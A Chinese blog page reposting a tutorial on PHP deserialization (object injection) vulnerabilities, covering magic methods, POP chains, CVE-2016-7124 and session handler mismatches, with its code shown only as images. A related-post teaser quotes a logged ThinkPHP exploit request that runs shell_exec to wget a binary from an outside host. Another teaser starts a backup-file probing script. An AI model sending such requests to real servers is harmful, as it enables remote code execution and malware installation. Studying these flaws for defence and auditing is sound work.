代码编织梦想

反序列化在很多语言中都比较常见,下面简单介绍php的反序列化漏洞(对象注入)。

0x00.是什么

——what

php反序列化漏洞,又叫对象注入。

涉及到的是php中的两个函数:unsearialize()与serialize()。后者为将一个对象或者数组转换为字符串以便保存,前者则将尝试将字符串恢复为对象或者数组。

关于这个漏洞大家平时可能很少见,它的触发点主要是在代码审计中cms的session序列化与反序列化和ctf中相关反序列化字符串的构建。

执行方式是通过自动执行的魔术方法构造pop链,然后执行危险函数造成漏洞的产生。

0x01.为什么

——why

总结了一下整个流程:

unserialize()函数的参数可控 =>  实例化类  => 魔术方法自动调用 => 危险函数执行

1.魔术方法

魔术方法,magic method。魔术方法有各自的属性,类、对象进行各种操作时会自动调用。

常见的魔术方法如下:

魔术方法

属性

__construct()

构造函数,实例化对类时自动调用

__destruct()

析构函数,销毁对象时自动调用

__sleep()

序列化对象时自动调用

__wakeup()

反序列化对象时自动调用

__toString()

echo输出对象时自动调用

2.构造payload

定义一个测试类如下:

c34f5a8f0190c0e1869eaa567f5f959b.png

构造payload方法1:

f084cc7677c6995107f5f6c51ad8a4ab.png

构造payload方法2(推荐):

f5b0b86d45b881c9f5c8946a97d9e839.png

3.口算payload

示例:

5985a48a684819d44d27356d852ed55d.png

0x02.怎么做

——how

1.一些值得看一看的例子

cms漏洞:

1b3e75ec28093cd87ca65589abe92c69.png

ctf题目:

1b150d694d6ba43d87c0d8a8cd1b68ef.png

2.CVE-2016-7124

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例子:

4e870fc7539676bdfe7e4148452eedad.png

3.Session反序列化

session.serialize_handler(php反序列化处理器):

460cf93a3aea1b0e3533deed5f0e6541.png

使用方法:

49799973e132c25a71beb7dda7f5d5f0.png

关于这部分,有如下参考:

整个流程为:

反序列化与序列化处理器不同 =>

使用php_serialize处理器序列化,值中含有| =>

使用php处理器反序列化,格式为”键名|serialize()处理后的值” =>

|前解析为键名,|后进行反序列化

0x03.其他

本文转载自grt1st的博客

点击“阅读全文”,查看详情

绿盟科技网络安全攻防实验室安全研究员廖新喜:java json 反序列化之殇_csdn业界要闻的博客-爱代码爱编程

11月18号,2017看雪安全开发者峰会在北京悠唐皇冠假日酒店举行。来自全国各地的开发人员、网络安全爱好者及相应领域顶尖专家,在2017看雪安全开发者峰会汇聚一堂,只为这场“安全与开发”的技术盛宴。 随着REST API的流

php反序列化漏洞-爱代码爱编程

实验环境:Apache、php5.4 实验原理:是由于程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通 实验步骤: 实验一: php代码如下: <?php class P

PHP序列化反序列化漏洞总结(一篇懂)-爱代码爱编程

文章目录 序列化和反序列化的概念与基础知识PHP的序列化访问控制修饰符PHP的反序列化反序列化POP链PHP反序列化漏洞(常规)绕过魔法方法的反序列化漏洞__wakeup()__destruct()示例一:示例二(连菜刀、反序列化免杀后门):__toString()Error类ExceptionPHP中Session反序列化(重点)简介与基础知识S

php 反序列化工具 phpggc 简介-爱代码爱编程

背景:   PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具,可以说是反序列化的武器库,平时遇到有关反序列化的题目时如果能够熟练运用它,将节省大量功夫,之前只知道有这个工具但是并没有好好研究研究它,于是便有了此文,若是哪里说的不对,还请师傅们指出。 1.PHPGGC工具介绍:   项目地址:https://github.com/

buuctf php(扫描网站备份文件和反序列化漏洞)-爱代码爱编程

知识点:1、扫描网站备份文件 别人写的备份文件url生成字典脚本 import os import os.path import requests from urllib.parse import unquote suffixList = ['.rar','.zip','.tar','.tar.gz'] keyList = ['www','wwwroo

php序列化漏洞扫描,php 漏洞扫描-爱代码爱编程

"GET /index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://love.thotiana.live/bins/x

Java代码审计漏洞挖掘(入门)-爱代码爱编程

出品|MS08067实验室(www.ms08067.com) 双十一最有意义的事情莫过于是学习一门高级渗透技术了! 代码审计属于高级渗透测试服务的一环,顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提

程序员必备基础:10种常见安全漏洞浅析-爱代码爱编程

前言 我们日常开发中,很多小伙伴容易忽视安全漏洞问题,认为只要正常实现业务逻辑就可以了。其实,安全性才是最重要的。本文将跟大家一起学习常见的安全漏洞问题,希望对大家有帮助哈。如果本文有什么错误的话,希望大家提出哈,感谢感谢~ 1. SQL 注入 1.1 什么是SQL注入? SQL注入是一种代码注入技术,一般被应用于攻击web应用程序。它通过在